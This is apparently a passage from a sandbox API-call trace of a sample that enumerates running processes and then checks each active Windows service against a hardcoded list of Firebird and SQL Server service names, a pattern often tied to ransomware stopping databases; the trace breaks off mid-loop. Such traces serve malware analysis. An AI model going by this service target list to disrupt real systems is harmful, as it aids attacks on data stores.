lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0107.589] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0107.589] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0107.590] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0107.590] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0107.590] lstrlenW (lpString="powers mixture.exe") returned 18 [0107.591] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0107.591] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0107.591] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0107.592] lstrlenW (lpString="bachelor.exe") returned 12 [0107.592] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0107.593] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0107.593] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0107.594] lstrlenW (lpString="indication wage paying.exe") returned 26 [0107.594] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0107.595] lstrlenW (lpString="thee pub emission.exe") returned 21 [0107.595] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0107.596] lstrlenW (lpString="dllhost.exe") returned 11 [0107.596] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0107.597] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0107.597] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0107.598] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0107.598] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0107.599] lstrlenW (lpString="upgrading.exe") returned 13 [0107.599] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0107.600] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0107.600] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0107.601] lstrlenW (lpString="russell.exe") returned 11 [0107.601] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.602] lstrlenW (lpString="conhost.exe") returned 11 [0107.602] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.603] lstrlenW (lpString="conhost.exe") returned 11 [0107.603] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.604] lstrlenW (lpString="svchost.exe") returned 11 [0107.604] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0107.604] lstrlenW (lpString="1csrss.exe") returned 10 [0107.604] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0107.605] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0107.605] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.606] lstrlenW (lpString="conhost.exe") returned 11 [0107.606] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0107.607] lstrlenW (lpString="cmd.exe") returned 7 [0107.607] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.608] lstrlenW (lpString="conhost.exe") returned 11 [0107.608] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.609] lstrlenW (lpString="svchost.exe") returned 11 [0107.609] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0107.610] CloseHandle (hObject=0x280) returned 1 [0107.610] Sleep (dwMilliseconds=0x1f4) [0108.156] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ee980 [0108.157] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0108.157] GetLastError () returned 0xea [0108.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x60f958 [0108.157] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60f958, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60f958, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0108.158] CloseServiceHandle (hSCObject=0x5ee980) returned 1 [0108.158] lstrlenW (lpString="Appinfo") returned 7 [0108.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0108.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0108.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0108.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0108.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0108.158] lstrlenW (lpString="AppXSvc") returned 7 [0108.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0108.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0108.158] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0108.158] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0108.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0108.158] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0108.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.158] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0108.158] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0108.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0108.158] lstrlenW (lpString="Audiosrv") returned 8 [0108.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0108.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0108.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0108.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0108.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0108.159] lstrlenW (lpString="BFE") returned 3 [0108.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0108.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0108.159] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0108.159] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0108.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0108.159] lstrlenW (lpString="BITS") returned 4 [0108.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0108.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0108.159] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0108.159] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0108.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0108.159] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0108.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.159] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0108.159] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0108.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0108.159] lstrlenW (lpString="CDPSvc") returned 6 [0108.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0108.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0108.159] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0108.159] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0108.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0108.159] lstrlenW (lpString="ClickToRunSvc") returned 13 [0108.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.159] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0108.159] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0108.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0108.159] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0108.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.159] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0108.159] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0108.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0108.160] lstrlenW (lpString="CryptSvc") returned 8 [0108.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0108.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0108.160] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0108.160] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0108.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0108.160] lstrlenW (lpString="DcomLaunch") returned 10 [0108.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.160] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0108.160] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0108.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0108.160] lstrlenW (lpString="DeviceAssociationService") returned 24 [0108.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.160] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0108.160] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0108.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0108.160] lstrlenW (lpString="Dhcp") returned 4 [0108.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0108.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0108.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0108.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0108.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0108.161] lstrlenW (lpString="Dnscache") returned 8 [0108.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0108.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0108.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0108.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0108.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0108.161] lstrlenW (lpString="DoSvc") returned 5 [0108.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0108.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0108.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0108.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0108.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0108.161] lstrlenW (lpString="DPS") returned 3 [0108.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0108.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0108.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0108.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0108.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0108.161] lstrlenW (lpString="DusmSvc") returned 7 [0108.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0108.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0108.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0108.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0108.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0108.161] lstrlenW (lpString="EventLog") returned 8 [0108.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0108.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0108.161] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0108.161] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0108.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0108.161] lstrlenW (lpString="EventSystem") returned 11 [0108.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0108.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0108.161] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0108.162] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0108.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0108.162] lstrlenW (lpString="FontCache") returned 9 [0108.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0108.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0108.162] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0108.162] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0108.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0108.162] lstrlenW (lpString="gpsvc") returned 5 [0108.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0108.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0108.162] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0108.162] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0108.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0108.162] lstrlenW (lpString="iphlpsvc") returned 8 [0108.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.162] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0108.162] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0108.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0108.162] lstrlenW (lpString="KeyIso") returned 6 [0108.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0108.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0108.162] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0108.162] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0108.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0108.162] lstrlenW (lpString="LanmanServer") returned 12 [0108.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0108.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0108.162] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0108.162] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0108.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0108.162] lstrlenW (lpString="LanmanWorkstation") returned 17 [0108.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.163] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0108.163] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0108.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0108.163] lstrlenW (lpString="lfsvc") returned 5 [0108.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0108.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0108.163] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0108.163] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0108.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0108.163] lstrlenW (lpString="lmhosts") returned 7 [0108.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0108.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0108.163] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0108.163] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0108.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0108.163] lstrlenW (lpString="LSM") returned 3 [0108.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0108.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0108.163] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0108.163] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0108.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0108.163] lstrlenW (lpString="MapsBroker") returned 10 [0108.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0108.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0108.163] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0108.163] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0108.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0108.163] lstrlenW (lpString="MpsSvc") returned 6 [0108.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0108.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0108.163] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0108.163] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0108.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0108.164] lstrlenW (lpString="NcbService") returned 10 [0108.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0108.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0108.164] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0108.164] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0108.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0108.164] lstrlenW (lpString="netprofm") returned 8 [0108.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0108.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0108.164] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0108.164] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0108.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0108.164] lstrlenW (lpString="NlaSvc") returned 6 [0108.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0108.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0108.164] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0108.164] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0108.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0108.164] lstrlenW (lpString="nsi") returned 3 [0108.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0108.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0108.164] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0108.164] lstrcmpiW 